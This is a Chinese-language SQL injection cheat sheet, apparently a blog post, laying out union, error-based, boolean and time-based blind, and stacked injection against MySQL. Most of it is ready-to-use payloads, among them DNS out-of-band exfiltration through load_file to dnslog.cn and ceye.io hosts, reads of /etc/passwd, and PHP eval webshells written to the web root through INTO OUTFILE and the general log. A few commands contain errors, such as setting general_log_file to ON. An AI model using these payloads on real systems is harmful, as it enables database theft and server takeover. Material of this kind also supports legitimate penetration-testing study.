SQL基础

定义:

后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

是否有注入?

首先:

  • 字符型:?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
  • 数字型:参数后id=3-1,观察页面是否会改变

其次:

  • or/and 1=1 页面正常 or/and 1=2 页面内容消失
  • or/and sleep(5) --+ / or '1'='1' 检测时间注入

如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测:

  • and (select 1 from(select sleep(5)))

注入成功与否的因素

  • 准确的注入点
    • 文章的id
    • 用户id
    • 搜索框
    • 登录框
    • 其他请求头:xff,cookie等
  • 字符串的闭合方式:

关于这个闭合,一般用于字符型的注入

    • '
    • "
    • %23
    • --+
  • 空格:
    • /**/
    • %20

注入方式

有回显

联合查询

位置通常在 where后面, 联合语句必须要在select的最后处,所以在注入过程中需要利用注释符号注释掉后面的结构,将前面的参数值改成负数,使得union的语句生效

sql 复制代码
select * from users where id=1 union select 1,2,3,4;

!!!使用用法: order by后添加数字来推算数据表的列数order by 15 的时候页面正常 order by 16 的时候页面回显不正常便可推断数据表有15个列

bash 复制代码
 https://www.xxxx.com?id=8 order by 16

通常如果数字超过了列数,报错如下

sql 复制代码
ERROR 1054(42S22): Unknown column '16'in'order clause'

获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,因为没有-1,所以要执行union select这段的语句,如图

sql 复制代码
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#     发现可以注入
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x636d73),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x746869735f69735f666c6167),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,flag,13,14,15 from this_is_flag#

报错注入

报错注入前提是要数据库需要开启报错提示,这样可以通过构造指定的payload来将我们需要的数据进行带出

scss 复制代码
1.floor()
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a);
2.extractvalue()
id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select user())a));

常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入

后面两种类型其实是一样的,都是利用xpath来进行报错

Floor报错注入

限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本

**记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)2)然后利用concat集合payload将报错带出*

简单的来说就是 count( ) 和 floor(rand(0) 2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了

Payload:

csharp 复制代码
and (select 1 from(select count(*),concat((version()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
UpdateXML报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可

updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据

Payload:

less 复制代码
and updatexml(1,concat(0x7e,(version()) ),1);
Extractvalue报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可

exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

less 复制代码
and extractvalue(1,concat(0x7e,(version())  ));

ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的

vbnet 复制代码
ERROR 1105 (HY000): XPATH syntax error: '.17'

加了concat之后

vbnet 复制代码
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
uploadxml&&extractvalue绕过长度限制

有时候password长度太长,无法全部显示

  • substr(被截取字符串,起始位置,截取几位)

注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));
  • substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳

lenth判断有多长

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));

substring(password,1)从第一位开始截取,最长截取30位。substring(password,31) 31位到最后

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));
  • left函数

left(user(),4)='root'; 从左往右取四个

  • right函数

right(user(),9)='localhost'; 从右往左取9个

  • mid函数

mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)

insert注入&update注入
  • insert注入

遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据,判断我们输入的语句拼接到了参数的哪个部分,再进行按情况拼合

本地测试的时候的注入语句:

时间盲注:

sql 复制代码
id=1 and (select 1 from(select case when user() like "%r%" then sleep(5) else 1 end)x),'1000') -- -

报错注入:

scss 复制代码
extractvalue(1,(concat(0x7e,(payload),0x7e)))
id=1 and extractvalue(1,concat(0x7e,version())),'1000') -- -   // 补全前面的结构然后注释掉后面的结构
  • insert插入多行

进行闭合,对内容进行填充

sql 复制代码
INSERT INTO test VALUES(1,'admin','admin'),(2,'test','test');
  • update注入

也可以用报错和时间盲注

sql 复制代码
id=1 and (select 1 from(select case when(user() like "%r%") then sleep(5) else 1 end )x)
id=1 and extractvalue(1,concat(1,database()))

堆叠注入

堆叠注入可通过分号来执行多个sql语句,危害非常大,不过在mysql中非常少见

php中查询需要用到 mysqli_multi_query 才可进行堆叠注入

csharp 复制代码
id=1;select user();

无回显

scss 复制代码
常用payload:
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'T
if((length(database())=8),5,0)        //判断数据库长度,在sleep()的参数进行替换
if((mid(database(),1,1='y')),5,0)
if((substr(database(),1,1)>120),5,0)  //数据库首字母

布尔盲注

布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多

if条件判断布尔盲注

模板:

ini 复制代码
and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);

例子:第一个表名为a的注入语句如下:

csharp 复制代码
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);

时间盲注

有时某网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确

时间盲注的种类有三种:sleep,benchmark,笛卡尔积

时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);
利用benchmark函数

利用benchmark进行延时注入,经过测试在同id的情况下并不会出现延时时间翻倍情况

原理:将一个算式重复运算多次从而造成时间延迟

例:select benchmark(10000000,sha(1));

将she(1)执行10000000从而造成时间延迟

这种需要多加几个0,才能造成延迟

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
利用sleep函数
sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

同样使用if也可以进行

sql 复制代码
select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1)

测试过程中推荐使用sql子查询的方式来进行注入,这样sleep时间准确些

sql 复制代码
select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);
利用笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

css 复制代码
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

套模板:

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
if条件判断时间注入
scss 复制代码
id=1 and sleep(2)
id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)

模板:

scss 复制代码
and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);
case条件判断时间注入

模板:

arduino 复制代码
case when(条件语句) then sleep(5) else 1 end;
sql 复制代码
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;

比较好用的,用于字符型的:

perl 复制代码
and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1

外带法

DNS注入

通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数,需要root的权限,secure_file_priv参数为空,windows操作系统

sql 复制代码
show variables like "%secure%"

secure_file_priv 空 代表允许读写目录

secure_file_priv NULL 代表不允许输入输出

secure_file_priv D:\ 代表只能在D盘进行读写

less 复制代码
select load_file(concat('\\',database(),'.xw2elk.dnslog.cn\abc'));
0'XOR(select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')))XOR't      //payload

Mysql读写文件

条件:

  • 查看secure_file_priv (5.5.53之前的版本是secure_file_priv变量 默认为空)
  • root

如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改

sql 复制代码
show variables like "%secure%";
csharp 复制代码
select load_file('/etc/passwd');    //读文件
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';  //写文件
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';  //一般用于二进制文件

Linux下写文件

如果想要使用读写函数,必须满足以下要求:

  1. 当前用户是root用户
  2. secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
  3. 写shell的文件夹必须要 777的权限不然会写入失败
  4. 文件大小: 必须小于max_allowed_packet
arduino 复制代码
ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)

Linux下读文件

  1. 当前用户是root用户
  2. 目标文件可读,如下:

windows下读文件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
csharp 复制代码
 select load_file('C:/sql.txt');

windows下写文件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
sql 复制代码
SELECT 'XXXXXX' INTO OUTFILE '路径';
SELECT 'XXXXXX' INTO DUMPFILE '路径';  // 一般用于写二进制数据

利用绝对路径写shell

csharp 复制代码
select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php

利用mysql的日志getshell

其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写

将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell

知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)

ini 复制代码
SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;
相关推荐
2401_882727572 小时前
低代码配置式组态软件-BY组态
前端·后端·物联网·低代码·前端框架
追逐时光者3 小时前
.NET 在 Visual Studio 中的高效编程技巧集
后端·.net·visual studio
大梦百万秋3 小时前
Spring Boot实战:构建一个简单的RESTful API
spring boot·后端·restful
斌斌_____4 小时前
Spring Boot 配置文件的加载顺序
java·spring boot·后端
路在脚下@4 小时前
Spring如何处理循环依赖
java·后端·spring
海绵波波1075 小时前
flask后端开发(1):第一个Flask项目
后端·python·flask
小奏技术6 小时前
RocketMQ结合源码告诉你消息量大为啥不需要手动压缩消息
后端·消息队列
AI人H哥会Java8 小时前
【Spring】控制反转(IoC)与依赖注入(DI)—IoC容器在系统中的位置
java·开发语言·spring boot·后端·spring
凡人的AI工具箱8 小时前
每天40分玩转Django:Django表单集
开发语言·数据库·后端·python·缓存·django
奔跑草-8 小时前
【数据库】SQL应该如何针对数据倾斜问题进行优化
数据库·后端·sql·ubuntu